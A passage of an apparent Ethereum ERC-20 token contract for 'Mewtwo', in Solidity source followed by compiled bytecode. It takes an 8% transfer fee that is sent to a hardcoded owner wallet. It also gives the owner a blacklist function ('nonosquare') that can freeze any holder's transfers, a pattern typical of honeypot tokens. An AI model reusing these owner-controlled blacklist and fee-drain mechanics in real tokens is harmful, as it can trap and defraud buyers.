amountETH, uint liquidity); } contract Mewtwo is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet; string private constant _name = "Mewtwo"; string private constant _symbol = "Mewtwo"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; uint256 private _maxWalletSize = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet = payable(0x7780A9b2Ba8b512ABCB3BD6b6c4B2BFbd09B243F); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 0; _feeAddr2 = 8; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = 8; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimits() external onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize = _tTotal; } function changeMaxTxAmount(uint256 percentage) external onlyOwner{ require(percentage>0); _maxTxAmount = _tTotal.mul(percentage).div(100); } function changeMaxWalletSize(uint256 percentage) external onlyOwner{ require(percentage>0); _maxWalletSize = _tTotal.mul(percentage).div(100); } function sendETHToFee(uint256 amount) private { _feeAddrWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = _tTotal.mul(20).div(1000); _maxWalletSize = _tTotal.mul(30).div(1000); tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function nonosquare(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101235760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb146103a6578063b87f137a146103e3578063c3c8cd801461040c578063c9567bf914610423578063dd62ed3e1461043a5761012a565b806370a08231146102e5578063715018a614610322578063751039fc146103395780638da5cb5b1461035057806395d89b411461037b5761012a565b8063273123b7116100e7578063273123b714610228578063313ce567146102515780635932ead11461027c578063677daa57146102a55780636fc3eaec146102ce5761012a565b806306fdde031461012f578063095ea7b31461015a57806318160ddd146101975780631b3f71ae146101c257806323b872dd146101eb5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610477565b6040516101519190612763565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c919061282d565b6104b4565b60405161018e9190612888565b60405180910390f35b3480156101a357600080fd5b506101ac6104d2565b6040516101b991906128b2565b60405180910390f35b3480156101ce57600080fd5b506101e960048036038101906101e49190612a15565b6104e2565b005b3480156101f757600080fd5b50610212600480360381019061020d9190612a5e565b61060c565b60405161021f9190612888565b60405180910390f35b34801561023457600080fd5b5061024f600480360381019061024a9190612ab1565b6106e5565b005b34801561025d57600080fd5b506102666107d5565b6040516102739190612afa565b60405180910390f35b34801561028857600080fd5b506102a3600480360381019061029e9190612b41565b6107de565b005b3480156102b157600080fd5b506102cc60048036038101906102c79190612b6e565b610890565b005b3480156102da57600080fd5b506102e3610969565b005b3480156102f157600080fd5b5061030c60048036038101906103079190612ab1565b6109db565b60405161031991906128b2565b60405180910390f35b34801561032e57600080fd5b50610337610a2c565b005b34801561034557600080fd5b5061034e610b7f565b005b34801561035c57600080fd5b50610365610c34565b6040516103729190612baa565b60405180910390f35b34801561038757600080fd5b50610390610c5d565b60405161039d9190612763565b60405180910390f35b3480156103b257600080fd5b506103cd60048036038101906103c8919061282d565b610c9a565b6040516103da9190612888565b60405180910390f35b3480156103ef57600080fd5b5061040a60048036038101906104059190612b6e565b610cb8565b005b34801561041857600080fd5b50610421610d91565b005b34801561042f57600080fd5b50610438610e0b565b005b34801561044657600080fd5b50610461600480360381019061045c9190612bc5565b611378565b60405161046e91906128b2565b60405180910390f35b60606040518060400160405280600681526020017f4d657774776f0000000000000000000000000000000000000000000000000000815250905090565b60006104c86104c16113ff565b8484611407565b6001905092915050565b6000670de0b6b3a7640000905090565b6104ea6113ff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610577576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056e90612c51565b60405180910390fd5b60005b81518110156106085760016006600084848151811061059c5761059b612c71565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061060090612ccf565b91505061057a565b5050565b60006106198484846115d0565b6106da846106256113ff565b6106d58560405180606001604052806028815260200161370660289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061068b6113ff565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c619092919063ffffffff16565b611407565b600190509392505050565b6106ed6113ff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461077a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077190612c51565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6107e66113ff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610873576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086a90612c51565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b6108986113ff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610925576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091c90612c51565b60405180910390fd5b6000811161093257600080fd5b610960606461095283670de0b6b3a7640000611cc590919063ffffffff16565b611d3f90919063ffffffff16565b600f8190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109aa6113ff565b73ffffffffffffffffffffffffffffffffffffffff16146109ca57600080fd5b60004790506109d881611d89565b50565b6000610a25600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611df5565b9050919050565b610a346113ff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ac1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab890612c51565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610b876113ff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0b90612c51565b60405180910390fd5b670de0b6b3a7640000600f81905550670de0b6b3a7640000601081905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f4d657774776f0000000000000000000000000000000000000000000000000000815250905090565b6000610cae610ca76113ff565b84846115d0565b6001905092915050565b610cc06113ff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4490612c51565b60405180910390fd5b60008111610d5a57600080fd5b610d886064610d7a83670de0b6b3a7640000611cc590919063ffffffff16565b611d3f90919063ffffffff16565b60108190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dd26113ff565b73ffffffffffffffffffffffffffffffffffffffff1614610df257600080fd5b6000610dfd306109db565b9050610e0881611e63565b50565b610e136113ff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ea0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9790612c51565b60405180910390fd5b600e60149054906101000a900460ff1615610ef0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ee790612d63565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f7f30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16670de0b6b3a7640000611407565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610fca573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fee9190612d98565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611055573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110799190612d98565b6040518363ffffffff1660e01b8152600401611096929190612dc5565b6020604051808303816000875af11580156110b5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110d99190612d98565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730611162306109db565b60008061116d610c34565b426040518863ffffffff1660e01b815260040161118f96959493929190612e33565b60606040518083038185885af11580156111ad573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111d29190612ea9565b5050506001600e60166101000a81548160ff0219169083151502179055506001600e60176101000a81548160ff02191690831515021790555061123b6103e861122d6014670de0b6b3a7640000611cc590919063ffffffff16565b611d3f90919063ffffffff16565b600f819055506112716103e8611263601e670de0b6b3a7640000611cc590919063ffffffff16565b611d3f90919063ffffffff16565b6010819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611331929190612efc565b6020604051808303816000875af1158015611350573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113749190612f3a565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611476576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146d90612fd9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036114e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114dc9061306b565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115c391906128b2565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361163f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611636906130fd565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036116ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116a59061318f565b60405180910390fd5b600081116116f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116e890613221565b60405180910390fd5b6000600a819055506008600b81905550611709610c34565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156117775750611747610c34565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c5157600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118205750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61182957600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156118d45750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561192a5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119425750600e60179054906101000a900460ff165b15611a8057600f5481111561198c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119839061328d565b60405180910390fd5b60105481611999846109db565b6119a391906132ad565b11156119e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119db9061334f565b60405180910390fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a2f57600080fd5b601e42611a3c91906132ad565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611b2b5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611b815750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611b97576000600a819055506008600b819055505b6000611ba2306109db565b9050600e60159054906101000a900460ff16158015611c0f5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611c275750600e60169054906101000a900460ff165b15611c4f57611c3581611e63565b60004790506000811115611c4d57611c4c47611d89565b5b505b505b611c5c8383836120dc565b505050565b6000838311158290611ca9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ca09190612763565b60405180910390fd5b5060008385611cb8919061336f565b9050809150509392505050565b6000808303611cd75760009050611d39565b60008284611ce591906133a3565b9050828482611cf4919061342c565b14611d34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d2b906134cf565b60405180910390fd5b809150505b92915050565b6000611d8183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506120ec565b905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611df1573d6000803e3d6000fd5b5050565b6000600854821115611e3c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e3390613561565b60405180910390fd5b6000611e4661214f565b9050611e5b8184611d3f90919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e9b57611e9a6128d2565b5b604051908082528060200260200182016040528015611ec95781602001602082028036833780820191505090505b5090503081600081518110611ee157611ee0612c71565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611f88573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fac9190612d98565b81600181518110611fc057611fbf612c71565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061202730600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611407565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161208b95949392919061363f565b600060405180830381600087803b1580156120a557600080fd5b505af11580156120b9573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b6120e783838361217a565b505050565b60008083118290612133576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161212a9190612763565b60405180910390fd5b5060008385612142919061342c565b9050809150509392505050565b600080600061215c612345565b915091506121738183611d3f90919063ffffffff16565b9250505090565b60008060008060008061218c876123a4565b9550955095509550955095506121ea86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461240c90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061227f85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461245690919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122cb816124b4565b6122d58483612571565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161233291906128b2565b60405180910390a3505050505050505050565b600080600060085490506000670de0b6b3a76400009050612379670de0b6b3a7640000600854611d3f90919063ffffffff16565b82101561239757600854670de0b6b3a76400009350935050506123a0565b81819350935050505b9091565b60008060008060008060008060006123c18a600a54600b546125ab565b92509250925060006123d161214f565b905060008060006123e48e878787612641565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061244e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c61565b905092915050565b600080828461246591906132ad565b9050838110156124aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124a1906136e5565b60405180910390fd5b8091505092915050565b60006124be61214f565b905060006124d58284611cc590919063ffffffff16565b905061252981600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461245690919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6125868260085461240c90919063ffffffff16565b6008819055506125a18160095461245690919063ffffffff16565b6009819055505050565b6000806000806125d760646125c9888a611cc590919063ffffffff16565b611d3f90919063ffffffff16565b9050600061260160646125f3888b611cc590919063ffffffff16565b611d3f90919063ffffffff16565b9050600061262a8261261c858c61240c90919063ffffffff16565b61240c90919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061265a8589611cc590919063ffffffff16565b905060006126718689611cc590919063ffffffff16565b905060006126888789611cc590919063ffffffff16565b905060006126b1826126a3858761240c90919063ffffffff16565b61240c90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156127045780820151818401526020810190506126e9565b83811115612713576000848401525b50505050565b6000601f19601f8301169050919050565b6000612735826126ca565b61273f81856126d5565b935061274f8185602086016126e6565b61275881612719565b840191505092915050565b6000602082019050818103600083015261277d818461272a565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006127c482612799565b9050919050565b6127d4816127b9565b81146127df57600080fd5b50565b6000813590506127f1816127cb565b92915050565b6000819050919050565b61280a816127f7565b811461281557600080fd5b50565b60008135905061282781612801565b92915050565b600080604083850312156128445761284361278f565b5b6000612852858286016127e2565b925050602061286385828601612818565b9150509250929050565b60008115159050919050565b6128828161286d565b82525050565b600060208201905061289d6000830184612879565b92915050565b6128ac816127f7565b82525050565b60006020820190506128c760008301846128a3565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61290a82612719565b810181811067ffffffffffffffff82111715612929576129286128d2565b5b80604052505050565b600061293c612785565b90506129488282612901565b919050565b600067ffffffffffffffff821115612968576129676128d2565b5b602082029050602081019050919050565b600080fd5b600061299161298c8461294d565b612932565b905080838252602082019050602084028301858111156129b4576129b3612979565b5b835b818110156129dd57806129c988826127e2565b8452602084019350506020810190506129b6565b5050509392505050565b600082601f8301126129fc576129fb6128cd565b5b8135612a0c84826020860161297e565b91505092915050565b600060208284031215612a2b57612a2a61278f565b5b600082013567ffffffffffffffff811115612a4957612a48612794565b5b612a55848285016129e7565b91505092915050565b600080600060608486031215612a7757612a7661278f565b5b6000612a85868287016127e2565b9350506020612a96868287016127e2565b9250506040612aa786828701612818565b9150509250925092565b600060208284031215612ac757612ac661278f565b5b6000612ad5848285016127e2565b91505092915050565b600060ff82169050919050565b612af481612ade565b82525050565b6000602082019050612b0f6000830184612aeb565b92915050565b612b1e8161286d565b8114612b2957600080fd5b50565b600081359050612b3b81612b15565b92915050565b600060208284031215612b5757612b5661278f565b5b6000612b6584828501612b2c565b91505092915050565b600060208284031215612b8457612b8361278f565b5b6000612b9284828501612818565b91505092915050565b612ba4816127b9565b82525050565b6000602082019050612bbf6000830184612b9b565b92915050565b60008060408385031215612bdc57612bdb61278f565b5b6000612bea858286016127e2565b9250506020612bfb858286016127e2565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612c3b6020836126d5565b9150612c4682612c05565b602082019050919050565b60006020820190508181036000830152612c6a81612c2e565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612cda826127f7565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612d0c57612d0b612ca0565b5b600182019050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000612d4d6017836126d5565b9150612d5882612d17565b602082019050919050565b60006020820190508181036000830152612d7c81612d40565b9050919050565b600081519050612d92816127cb565b92915050565b600060208284031215612dae57612dad61278f565b5b6000612dbc84828501612d83565b91505092915050565b6000604082019050612dda6000830185612b9b565b612de76020830184612b9b565b9392505050565b6000819050919050565b6000819050919050565b6000612e1d612e18612e1384612dee565b612df8565b6127f7565b9050919050565b612e2d81612e02565b82525050565b600060c082019050612e486000830189612b9b565b612e5560208301886128a3565b612e626040830187612e24565b612e6f6060830186612e24565b612e7c6080830185612b9b565b612e8960a08301846128a3565b979650505050505050565b600081519050612ea381612801565b92915050565b600080600060608486031215612ec257612ec161278f565b5b6000612ed086828701612e94565b9350506020612ee186828701612e94565b9250506040612ef286828701612e94565b9150509250925092565b6000604082019050612f116000830185612b9b565b612f1e60208301846128a3565b9392505050565b600081519050612f3481612b15565b92915050565b600060208284031215612f5057612f4f61278f565b5b6000612f5e84828501612f25565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f72657373